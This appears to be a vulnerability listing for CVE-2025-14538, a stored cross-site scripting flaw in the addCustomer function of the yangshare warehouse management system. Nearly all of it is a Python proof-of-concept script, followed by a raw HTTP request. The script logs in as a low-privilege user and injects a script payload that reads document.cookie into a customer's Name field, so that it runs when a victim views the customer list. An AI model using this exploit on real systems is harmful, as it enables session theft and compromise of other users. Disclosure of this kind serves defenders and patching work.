CVE-2025-14538 yangshare仓库管理系统addCustomer函数XSS漏洞

import requests # CVE-2025-14538 PoC - Stored XSS in yangshare warehouseManager # Target: CustomerManageHandler.java addCustomer function target_url = "http://target-server/warehouseManager/customer/add" # Malicious payload for XSS xss_payload = "<script>alert(document.cookie)</script>" # Authentication data (low privilege user) auth_data = { "username": "attacker", "password": "password123" } # Customer data with XSS payload in Name field customer_data = { "Name": xss_payload, "Email": "[email protected]", "Phone": "1234567890", "Address": "Test Address" } def exploit(): """Exploit the stored XSS vulnerability in addCustomer function""" # Login first session = requests.Session() login_resp = session.post(f"{target_url}/../login", data=auth_data) if login_resp.status_code == 200: # Add customer with XSS payload add_resp = session.post(f"{target_url}", data=customer_data) if add_resp.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when victim views customer list") else: print("[-] Failed to inject payload") else: print("[-] Authentication failed") if __name__ == "__main__": exploit() # Alternative: Direct request to trigger XSS # POST /customer/addCustomer HTTP/1.1 # Host: target-server # Content-Type: application/x-www-form-urlencoded # # Name=<script>alert(document.cookie)</script>&[email protected]